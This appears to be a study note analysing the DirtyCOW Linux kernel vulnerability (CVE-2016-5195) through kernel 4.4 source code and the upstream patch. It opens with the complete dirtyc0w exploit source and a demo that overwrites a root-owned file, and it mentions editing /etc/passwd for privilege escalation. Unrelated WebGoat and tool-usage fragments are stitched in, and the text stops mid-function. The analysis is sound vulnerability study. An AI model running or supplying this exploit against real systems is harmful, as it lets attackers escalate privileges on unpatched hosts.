asuka39/cve-2016-5195DirtyCOW 笔记
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
Taking WebGoat 8.0.0.M25 as an example, you can use the following command:
```bash
docker pull webgoat/goatandwolf:v8.0.0.M25
docker run -p 8080:8080 -p 9090:9090 -t webgoat/goatandwolf:v8.0.0.M25
Then visit http://localhost:8080/WebGoat/ to start using it.
For existing files, you can use the -s parameter to specify a file:
java -jar shennong.jar -s /path/to/source/file
This way, Shennong will attempt to analyze the file and output the results.``` $ sudo su
$ $ ll flag.txt -r-----r-- 1 root root 10 flag.txt $ echo "aaaaaa" > flag.txt Permission Denied $ $ gcc -pthread dirty.c -o dirty $ ./dirty flag.txt aaaaaa mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0 $ cat flag.txt aaaaaa
A common exploitation technique is to write to `/etc/passwd` with unauthorized privileges to modify the root user or change user permissions for privilege escalation.
## Analysis
### Exploit Analysis
Let's first look at what the exploit does.```c
int main(int argc, char *argv[]) {
if (argc < 3) {
(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
fopen opens the read-only target file argv[1]mmap the file into memory (address random), MAP_PRIVATE creates a Task-private memory mapping. If another Task tries to write to this memory, the process will first copy a copy before writing, thus avoiding spending a lot of time and space copying the entire memory space when forking child processes or spawning threads, while also ensuring that concurrent memory operations between Tasks do not affect each other. This is CopyOnWrite.madviseThread, the other executes procselfmemThreadThen look at the execution bodies of the two threads
madvise on the file mapping to tell the kernel about the usage of the mapped memory or shared memory. MADV_DONTNEED indicates that this memory area will no longer be used, and the kernel can release it./proc/self/mem with read-write permissions. This file is the file mapping of the process's own virtual memory, and then continuously attempts to write the target information to the file.```c
void *madviseThread(void *arg) {
char str;
str = (char)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
Ultimately, after the two threads bombarded the kernel, a race condition vulnerability appeared, and `procselfmemThread` successfully wrote to the read-only file.
### Kernel Analysis
- Prerequisite: `mmap` only creates a memory mapping on the vma, but does not actually place the mapped file into a physical page frame. Therefore, when we first attempt to `write` to the file, a page fault exception will inevitably be triggered.
- The kernel version chosen here is 4.4.
#### What happens when we write
##### mem_rw
We start analyzing from `write`. Any operation on a file must go through the virtual table `file_operations` registered by the file's filesystem on the VFS. Files on `/proc` are implemented by procfs. Looking up `proc_mem_operations`, we can see that `write` is bound to `mem_write`.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
mem_write is a wrapper of mem_rw (with the write flag set to 1). The main flow of mem_rw is:
First, __get_free_page allocates a temporary free page as a buffer.
If it is a write operation, copy_from_user copies the data to be written to the temporary page.
Then access_remote_vm reads the target data into the free page (read) or writes the content of the buffer to the target address (write).
If it is a read operation, the data read into the free page in the previous step is written back to the user's buffer.```c static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write) { struct mm_struct *mm = file->private_data; unsigned long addr = *ppos; ssize_t copied; char *page;
if (!mm) return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面 if (!page) return -ENOMEM;
copied = 0; if (!atomic_inc_not_zero(&mm->mm_users)) goto free;
while (count > 0) { int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度，单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作，从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作，将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
} *ppos = addr;
##### __access_remote_vm
`access_remote_vm` is a wrapper around `__access_remote_vm`, with the main flow being:
- `get_user_pages` obtains the page struct at the target address `addr`
- If successful, `kmap` is called to map the page into the kernel's high memory (the page refers to a physical page)
- If the memory access is a write operation, data is written and then the dirty flag is set; if it is a read operation, data is read directly```c
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, int write)
{
struct vm_area_struct *vma;
void *old_buf = buf;
down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT
break;
#else
/*
* Check if this is a VM_IO | VM_PFNMAP VMA, which
* we can access using slightly different code.
*/
vma = find_vma(mm, addr);
if (!vma || vma->vm_start > addr)
break;
if (vma->vm_ops && vma->vm_ops->access)
ret = vma->vm_ops->access(vma, addr, buf,
len, write);
if (ret <= 0)
break;
bytes = ret;
#endif
} else { // 获取成功
bytes = len;
offset = addr & (PAGE_SIZE-1);
if (bytes > PAGE_SIZE-offset)
bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间，因为我们获取的是page结构体，需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中，完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
The above is an overview of the procfs read/write operations. Next, we start with get_user_pages.
get_user_pages is a wrapper for __get_user_pages_locked, which in turn calls __get_user_pages, the actual logic body. Its flow is as follows:
First, iterate over the pages to be operated on and perform some preparatory work, including setting the permission bitmap foll_flags for each page.
If it is the first iteration or the starting address is greater than the current vma base, use find_extend_vma to obtain the vma where the starting address resides.
If the process has not received or is not masking a fatal signal, use follow_page_mask to obtain the page struct of the physical page corresponding to the virtual address.
If the acquisition is unsuccessful and it is not a fault (returns 0), call faultin_page to handle the page fault exception. After successful handling, jump back to follow_page_mask to retry page acquisition.```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;
if (!nr_pages) return 0;
VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
/*
do { struct page *page; unsigned int foll_flags = gup_flags; unsigned int page_increm;
/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) { // 若vma为空（第一次迭代）或者start超出vma的范围
vma = find_extend_vma(mm, start); // 查找start所在的vma
if (!vma && in_gate_area(mm, start)) {
int ret;
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
return i ? : ret;
page_mask = 0;
goto next_page;
}
if (!vma || check_vma_flags(vma, gup_flags))
return i ? : -EFAULT;
if (is_vm_hugetlb_page(vma)) {
i = follow_hugetlb_page(mm, vma, pages, vmas,
&start, &nr_pages, i,
gup_flags);
continue;
}
}
retry: /* * If we have a pending SIGKILL, don't keep faulting pages and * potentially allocating memory. / if (unlikely(fatal_signal_pending(current))) return i ? i : -ERESTARTSYS; cond_resched(); page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取虚拟地址对应的物理页的page struct if (!page) { // 获取失败，可能是没有对应页，也可能是没有相应操作权限 int ret; ret = faultin_page(tsk, vma, start, &foll_flags, // 处理缺页异常，COW机制建映射得到一个新的可写的anon page nonblocking); // 若没有写权限其会取消掉foll_flags中的写标志并返回0 switch (ret) { case 0: // 缺页异常处理成功，重新尝试获取page goto retry; case -EFAULT: case -ENOMEM: case -EHWPOISON: return i ? i : ret; case -EBUSY: return i; case -ENOENT: goto next_page; } BUG(); } else if (PTR_ERR(page) == -EEXIST) { / * Proper page table entry exists, but no corresponding * struct page. */ goto next_page; } else if (IS_ERR(page)) { return i ? i : PTR_ERR(page); } if (pages) { pages[i] = page; flush_anon_page(vma, page, start); flush_dcache_page(page); page_mask = 0; } next_page: if (vmas) { vmas[i] = vma; page_mask = 0; } page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask); if (page_increm > nr_pages) page_increm = nr_pages; i += page_increm; start += page_increm * PAGE_SIZE; nr_pages -= page_increm; } while (nr_pages); // 直到所有的页都处理完毕 return i; } EXPORT_SYMBOL(__get_user_pages);
##### follow_page_mask
`follow_page_mask` step by step parses the address to obtain the corresponding PTE, then calls `follow_page_pte` to attempt to get the page struct. The logic is relatively simple: after passing a series of checks, it returns the page struct. Additionally, if the address mapping is not found or there is no write permission, it returns NULL.```c
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
struct mm_struct *mm = vma->vm_mm;
struct page *page;
spinlock_t *ptl;
pte_t *ptep, pte;
retry:
if (unlikely(pmd_bad(*pmd)))
return no_page_table(vma, flags);
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
swp_entry_t entry;
/*
* KSM's break_ksm() relies upon recognizing a ksm page
* even while it is being migrated, so for that case we
* need migration_entry_wait().
*/
if (likely(!(flags & FOLL_MIGRATION)))
goto no_page;
if (pte_none(pte))
goto no_page;
entry = pte_to_swp_entry(pte);
if (!is_migration_entry(entry))
goto no_page;
pte_unmap_unlock(ptep, ptl);
migration_entry_wait(mm, pmd, address);
goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) { // 欲执行写操作，但是没有写权限
pte_unmap_unlock(ptep, ptl);
return NULL;
}
page = vm_normal_page(vma, address, pte); // 获取page struct
if (unlikely(!page)) {
if (flags & FOLL_DUMP) {
/* Avoid special (like zero) pages in core dumps */
page = ERR_PTR(-EFAULT);
goto out;
}
if (is_zero_pfn(pte_pfn(pte))) {
page = pte_page(pte);
} else {
int ret;
ret = follow_pfn_pte(vma, address, ptep, flags);
page = ERR_PTR(ret);
goto out;
}
}
if (flags & FOLL_GET)
get_page_foll(page);
if (flags & FOLL_TOUCH) {
if ((flags & FOLL_WRITE) &&
!pte_dirty(pte) && !PageDirty(page))
set_page_dirty(page);
/*
* pte_mkyoung() would be more correct here, but atomic care
* is needed to avoid losing the dirty bit: it is easier to use
* mark_page_accessed().
*/
mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
/*
* The preliminary mapping check is mainly to avoid the
* pointless overhead of lock_page on the ZERO_PAGE
* which might bounce very badly if there is contention.
*
* If the page is already locked, we don't need to
* handle it now - vmscan will handle it later if and
* when it attempts to reclaim the page.
*/
if (page->mapping && trylock_page(page)) {
lru_add_drain(); /* push cached pages to LRU */
/*
* Because we lock page here, and migration is
* blocked by the pte's page reference, and we
* know the page is still mapped, we don't even
* need to check for file-cache page truncation.
*/
mlock_vma_page(page);
unlock_page(page);
}
}
out:
pte_unmap_unlock(ptep, ptl);
return page;
no_page:
pte_unmap_unlock(ptep, ptl);
if (!pte_none(pte))
return NULL;
return no_page_table(vma, flags);
}
faultin_page is similar. After setting the flags, it calls handle_mm_fault to formally enter the page fault handling process, which will be expanded upon later.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE) // 欲执行写操作
fault_flags |= FAULT_FLAG_WRITE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}
ret = handle_mm_fault(mm, vma, address, fault_flags); // 处理缺页异常
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}
if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}
if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}
/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) // 若vma不可写，但是缺页异常处理成功，且需要写操作
*flags &= ~FOLL_WRITE; // 清除写操作标志，否则会在__get_user_pages中返回不断retry
return 0;
}
#### DirtyCOW
##### Handling Page Fault
The retry mechanism represented by the `retry` label in `__get_user_pages` is essentially the general handling flow of page faults during memory access. Taking this article's scenario as an example, note that the operations here are not atomic
1. First time
1. Task accesses the address mapped by `mmap` for the first time. Since `mmap` does not read pages into memory, `follow_page_mask` fails to get the page, causing the first page fault
2. `faultin_page` reads the page into memory, establishes the mapping, and returns after which it retries
2. Second time
1. `follow_page_mask` gets the page for the second time; the get operation includes write access, but the target page is read-only, so it fails and causes the second page fault
2. According to the COW mechanism, `faultin_page` copies out an anonymous page, rebuilds the mapping, clears the `FOLL_WRITE` flag to avoid infinite retries, and finally returns to retry
3. Third time
1. `follow_page_mask` gets the page for the third time. This time the write flag has been cleared, so it successfully obtains the anonymous page from the COW copy with read-only permissions, without causing another fault
2. Returns to `kmap`, the process completes the write (but the changes are not synced to the file)
##### How does DirtyCOW run
At this point the vulnerability is quite clear. The `retry` part of the three page fault handlings should have been atomic, at least the pte should have been locked, but in reality, for some reason, it is not protected here, making this execution flow easily breakable. DirtyCOW works by, while completing the above flow, continuously calling `madvice` to try to make the kernel clear the pte and unmap the target page, ultimately leading to the following execution flow
1. First time
1. Task accesses the address mapped by `mmap` for the first time. Since `mmap` does not read pages into memory, `follow_page_mask` fails to get the page, causing the first page fault
2. `faultin_page` reads the page into memory, establishes the mapping, and returns after which it retries
2. Second time
1. `follow_page_mask` gets the page for the second time; the get operation includes write access, but the target page is read-only, so it fails and causes the second page fault
2. According to the COW mechanism, `faultin_page` copies out an anonymous page, rebuilds the mapping, clears the `FOLL_WRITE` flag to avoid infinite retries, and finally returns to retry
3. Race: At this point, under the suggestion of `madvice`, the kernel clears the pte at the virtual address, unmapping the virtual address (threads of the same process share the same page table)
4. Third time
1. `follow_page_mask` gets the page for the third time. This time the write flag has been cleared, so it attempts to get with read-only permissions. Meanwhile, the page has been unmapped, causing another page fault
2. Because the permissions are read-only, `faultin_page` successfully reads the target page into memory and establishes a mapping, instead of COW copying an anonymous page as normal, and returns to retry
5. Fourth time
1. `follow_page_mask` gets the page for the fourth time. This time it successfully obtains the target page without causing another fault
2. Returns to `kmap`, the process completes the write, the page is marked dirty, and finally the changes are synced to the file, completing the unauthorized write
One remaining point that may be confusing is: even if we obtain the page, the original vma is still read-only, so we cannot complete the write. The fundamental solution to this problem seems to be that `kmap` maps memory into the kernel's high memory. Although the pte mapped by the user-mode vma is read-only, the pte mapped by the kernel-mode high memory has write permissions. Through this, we can successfully complete the unauthorized write, which is also a unique feature of `mem_write`
##### To be a good COW
Finally, let's look at Linus's patch. Possibly for performance reasons, he did not add a lock at the vulnerability point, but instead set a new `FOLL_COW` flag to handle COW specially
- commit：[mm: remove gup_flags FOLL_WRITE games from __get_user_pages()](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619)```diff
diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6a51e97a..ed85879f47f5f7 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */
#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2fd0fbd13..22cc22e7432f60 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
return -EEXIST;
}
+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+ return pte_write(pte) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
@@ -95,7 +105,7 @@ retry:
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;
return 0;
}
Earlier we stopped at faultin_page, now we continue from handle_mm_fault to go deeper.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
int ret;
__set_current_state(TASK_RUNNING); // 在处理完缺页异常后进程需要继续运行，保持TASK_RUNNING状态
count_vm_event(PGFAULT);
mem_cgroup_count_vm_event(mm, PGFAULT);
/* do counter updates before entering really critical section. */
check_sync_rss_stat(current);
/*
* Enable the memcg OOM handling for faults triggered in user
* space. Kernel faults are handled more gracefully.
*/
if (flags & FAULT_FLAG_USER)
mem_cgroup_oom_enable(); // 使能内存控制组的OOM处理
ret = __handle_mm_fault(mm, vma, address, flags); // handle的真正入口
if (flags & FAULT_FLAG_USER) { // 如果是用户态的缺页异常
mem_cgroup_oom_disable(); // 禁用内存控制组的OOM处理
/*
* The task may have entered a memcg OOM situation but
* if the allocation error was handled gracefully (no
* VM_FAULT_OOM), there is no need to kill anything.
* Just clean up the OOM state peacefully.
*/
if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM)) // 如果进程处于内存控制组的OOM状态，但没有OOM错误
mem_cgroup_oom_synchronize(false); // 清理OOM状态即可
}
return ret;
} EXPORT_SYMBOL_GPL(handle_mm_fault);
##### __handle_mm_fault
Looking again at the wrapped `__handle_mm_fault`, it essentially parses the target's pte, then calls `handle_pte_fault` to handle it.```c
static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
pgd_t *pgd; // 页全局目录指针
pud_t *pud; // 页上级目录指针
pmd_t *pmd; // 页中间目录指针
pte_t *pte; // 页表项指针
if (unlikely(is_vm_hugetlb_page(vma))) // hugepage
return hugetlb_fault(mm, vma, address, flags);
pgd = pgd_offset(mm, address); // (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address); // 获取pud指针
if (!pud)
return VM_FAULT_OOM; // out of memory
pmd = pmd_alloc(mm, pud, address); // 获取pmd指针
if (!pmd)
return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) { // 透明大页
int ret = create_huge_pmd(mm, vma, address, pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *pmd;
int ret;
barrier(); // 内存屏障，确保orig_pmd的读取顺序不会被编译器优化，保证读取的是最新的pmd值
if (pmd_trans_huge(orig_pmd)) { // 透明大页
unsigned int dirty = flags & FAULT_FLAG_WRITE;
/*
* If the pmd is splitting, return and retry the
* the fault. Alternative: wait until the split
* is done, and goto retry.
*/
if (pmd_trans_splitting(orig_pmd))
return 0;
if (pmd_protnone(orig_pmd))
return do_huge_pmd_numa_page(mm, vma, address,
orig_pmd, pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(mm, vma, address, pmd,
orig_pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(mm, vma, address, pmd,
orig_pmd, dirty);
return 0;
}
}
}
/*
* Use __pte_alloc instead of pte_alloc_map, because we can't
* run pte_offset_map on the pmd, if an huge pmd could
* materialize from under us from a different thread.
*/
if (unlikely(pmd_none(*pmd)) &&
unlikely(__pte_alloc(mm, vma, pmd, address)))
return VM_FAULT_OOM;
/*
* If a huge pmd materialized under us just retry later. Use
* pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
* didn't become pmd_trans_huge under us and then back to pmd_none, as
* a result of MADV_DONTNEED running immediately after a huge pmd fault
* in a different thread of this mm, in turn leading to a misleading
* pmd_trans_huge() retval. All we have to ensure is that it is a
* regular pmd that we can walk with pte_offset_map() and we can do that
* through an atomic read in C, which is what pmd_trans_unstable()
* provides.
*/
if (unlikely(pmd_trans_unstable(pmd)))
return 0;
/*
* A regular pmd is established and it can't morph into a huge pmd
* from under us anymore at this point because we hold the mmap_sem
* read mode and khugepaged takes it in write mode. So now it's
* safe to run pte_offset_map().
*/
pte = pte_offset_map(pmd, address); // 获取pte指针，这也是这个wrap的最终的目标
return handle_pte_fault(mm, vma, address, pte, pmd, flags); // 进入page fault处理
}
The handle_pte_fault flow is as follows, with the key functions being do_fault and do_wp_page
do_anonymous_pagedo_faultIf there is no write permission, call do_wp_page
If there is write permission, set the dirty bit on the pte```c static int handle_pte_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *pte, pmd_t *pmd, unsigned int flags) { pte_t entry; spinlock_t *ptl; // 页表自旋锁
/*
if (pte_protnone(entry)) // 页表项为保护页 return do_numa_page(mm, vma, address, entry, pte, pmd); // NUMA
ptl = pte_lockptr(mm, pmd); // 页表自旋锁，此时页面已经在内存中 spin_lock(ptl); if (unlikely(!pte_same(pte, entry))) // 并发检查 goto unlock; if (flags & FAULT_FLAG_WRITE) { // page fault是由写操作引发 if (!pte_write(entry)) // 页不可写 return do_wp_page(mm, vma, address, // COW pte, pmd, ptl, entry); entry = pte_mkdirty(entry); // 页可写，设置为脏页 } entry = pte_mkyoung(entry); if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) { update_mmu_cache(vma, address, pte); } else { / * This is needed only for protection faults but the arch code * is not yet telling us if this is a protection fault or not. * This still avoids useless tlb flushes for .text page faults * with threads. */ if (flags & FAULT_FLAG_WRITE) flush_tlb_fix_spurious_fault(vma, address); } unlock: pte_unmap_unlock(pte, ptl); return 0; }
##### do_fault
Because we are mainly concerned with COW this time, we choose to delve deeper from `do_fault`
- First, locate the page number in the file where the page fault occurred (previously confirmed that the page is file-mapped)
- Confirm that a page fault handler is defined in `vma->vmops`
- If it is a read operation, call `do_read_fault`
- If it is a write operation, determine whether the page is shareable. If not, it means the page is private to the task and requires COW, call `do_cow_dault`
- If it is a write operation and the page is shared, call `do_shared_fault````c
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量
pte_unmap(page_table);
/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数
return VM_FAULT_SIGBUS;
if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作，且是私有映射MAP_PRIVATE，那么需要COW
return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页，将数据拷贝到新页中，设置新页的PTE（此时还未真正write）
orig_pte);
return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作，且是共享映射MAP_SHARED，不需要COW
}
The flow of do_cow_fault is roughly as follows
First, call alloc_page_vma to allocate a new physical page new_page
Check if OOM
Then __do_fault reads data from the file into another page fault_page, which essentially calls the fault function bound on vma->vm_ops
copy_user_highpage copies the data from fault_page to new_page; this function is actually a wrapper for memcpy
do_set_pte sets the pte for the page, with attributes writable and anonymous page```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;
if (unlikely(anon_vma_prepare(vma))) return VM_FAULT_OOM;
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); // 为新页分配物理内存。VMA的表示粒度是4k if (!new_page) return VM_FAULT_OOM;
##### do_wp_page
During the first page fault, we already used `do_cow_fault` in `do_fault` to read the file content into memory and set up the PTE. Now the second page fault is due to lack of write permission. This time, the flow of `do_wp_page` called by `handle_pte_fault` is as follows
- First, get the page corresponding to the PTE
- Then the COW flow goes to `reuse_swap_page` to check if only one task is using the page
- If so, directly reuse the new page allocated by `do_cow_fault`, and `wp_page_copy` copies the page content, thus completing COW```c
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;
old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面
if (!old_page) {
/*
* VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a
* VM_PFNMAP VMA.
*
* We should not cow pages in a shared writeable mapping.
* Just mark the pages writable and/or call ops->pfn_mkwrite.
*/
if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))
return wp_pfn_shared(mm, vma, address, page_table, ptl,
orig_pte, pmd);
pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
/*
* Take out anonymous pages first, anonymous shared vmas are
* not dirty accountable.
*/
if (PageAnon(old_page) && !PageKsm(old_page)) { // 处理匿名页
if (!trylock_page(old_page)) { // 尝试获取页面锁
page_cache_get(old_page);
pte_unmap_unlock(page_table, ptl);
lock_page(old_page);
page_table = pte_offset_map_lock(mm, pmd, address,
&ptl);
if (!pte_same(*page_table, orig_pte)) {
unlock_page(old_page);
pte_unmap_unlock(page_table, ptl);
page_cache_release(old_page);
return 0;
}
page_cache_release(old_page);
}
if (reuse_swap_page(old_page)) { // 判断是否只有一个进程引用该页面，如果是则直接复用
/*
* The page is all ours. Move it to our anon_vma so
* the rmap code will not search our parent or siblings.
* Protected against the rmap code by the page lock.
